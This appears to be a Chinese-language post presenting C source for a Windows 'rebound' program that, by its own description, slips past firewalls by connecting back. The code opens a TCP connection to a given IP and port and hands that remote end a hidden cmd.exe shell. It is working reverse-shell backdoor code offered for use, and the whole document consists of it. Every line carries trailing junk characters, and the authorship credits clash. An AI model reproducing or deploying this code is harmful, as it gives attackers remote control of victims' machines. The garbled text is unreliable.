这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $Xw .iN]g
m&DDz+g
/* ============================== MPMJkL$F^
Rebound port in Windows NT .9WJ/RKZ\D
By wind,2006/7 UK2Y<\vD
===============================*/ x"~F=jT
#include DNdwMSwp
#include #F.;N<a
>De\2gbJ
#pragma comment(lib,"wsock32.lib") y@J]busU
lcij}-z:%e
void OutputShell(); 3ryIXC\v
SOCKET sClient; W?!(/`J]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W{l+_a{/9
e
=Vu;
void main(int argc,char **argv) C_?L$3 U0
{ ]`&EB~K&NY
WSADATA stWsaData; |C@)#.nm[
int nRet; ho2o/>Ef3
SOCKADDR_IN stSaiClient,stSaiServer; Z.$ncP0s
34
W#
if(argc != 3) ZGa>^k[:
{ \pB"R$YZ6
printf("Useage:\n\rRebound DestIP DestPort\n"); YMwMaU)K,
return; eMVfv=&L<3
} B3u5EgZr
L$h.VQv+
WSAStartup(MAKEWORD(2,2),&stWsaData); X~Uvh8O
w-R>gdm
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q[Hxy
l}%!&V0
stSaiClient.sin_family = AF_INET; ?@l9T)fF
stSaiClient.sin_port = htons(0); EXg\a#4['
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "?V4Tl~uu
Qv,|*bf
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ts3%cRN r
{ 5UR$Pn2a2
printf("Bind Socket Failed!\n"); 7rc^-!k
return; `h(JD$w
} dC_L~ }=
'Zf_/y
stSaiServer.sin_family = AF_INET; Rk56H
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f.rz2)o
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _wKFT>
[kgT"?w=
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g1L$+xD^
{
+O}6 8N
printf("Connect Error!"); w`,[w,t
return; zWgNDYT~
} fQlR;4QX]
OutputShell(); RG[3LX/
} ~d ~$fR
C',D"
void OutputShell() m>$+sMZE
{ ,:G.V
char szBuff[1024]; 3k5OYUk
SECURITY_ATTRIBUTES stSecurityAttributes; DIH.c7o
OSVERSIONINFO stOsversionInfo; vL{~?vq6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p8Di9\}
STARTUPINFO stStartupInfo; Ec[=~>;n{l
char *szShell; ($'rV!}
PROCESS_INFORMATION stProcessInformation; -]R7[5C:
unsigned long lBytesRead; RS#)uC5/%
C
7YZ;{t
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b4!(~"b.
?C//UN;
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ||cG/I&,
stSecurityAttributes.lpSecurityDescriptor = 0; x:O?Fj
stSecurityAttributes.bInheritHandle = TRUE; .t4IR
=Z
bgqN&J)Jr)
QS,IM>Nr
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }]N7CWy
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7qV_QZ!.
QKYIBX
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y'xB? >|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7 w_`<b6
stStartupInfo.wShowWindow = SW_HIDE; ej4 7'#EY
stStartupInfo.hStdInput = hReadPipe; +,9I3Dq
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; li8l+5d q
c~b[_J)
GetVersionEx(&stOsversionInfo); !v<r=u
)?joF)
switch(stOsversionInfo.dwPlatformId) abuHu'73
{ p@/!+$^{
case 1: wy<m&M<Gr
szShell = "command.com"; uz".!K[,wE
break; %YM4x!6
default:
FAJ\9
szShell = "cmd.exe"; 4\x'$G
break; :Sk0?WU
} muo(bR8
U_m<W$"HF
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m.EI("n"J
mm'n#%\G
send(sClient,szMsg,77,0); ;hJTJMA6/6
while(1) )}hp[*C
{ 1Z6<W~,1OM
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "'p:M,:
if(lBytesRead) nV,qC.z
{ |8c3%jve
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); wo$9$~(
send(sClient,szBuff,lBytesRead,0); mMjY I1F
} 4K[ E3aA
else YwQxN"
{ <s2IC_f<+
lBytesRead=recv(sClient,szBuff,1024,0); Bjq1za
if(lBytesRead<=0) break; O9oYuC :q
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~dC)EG
} )7Gm<r
} 3_~V(a
Ovv~ymj
return; }|%dN*',
}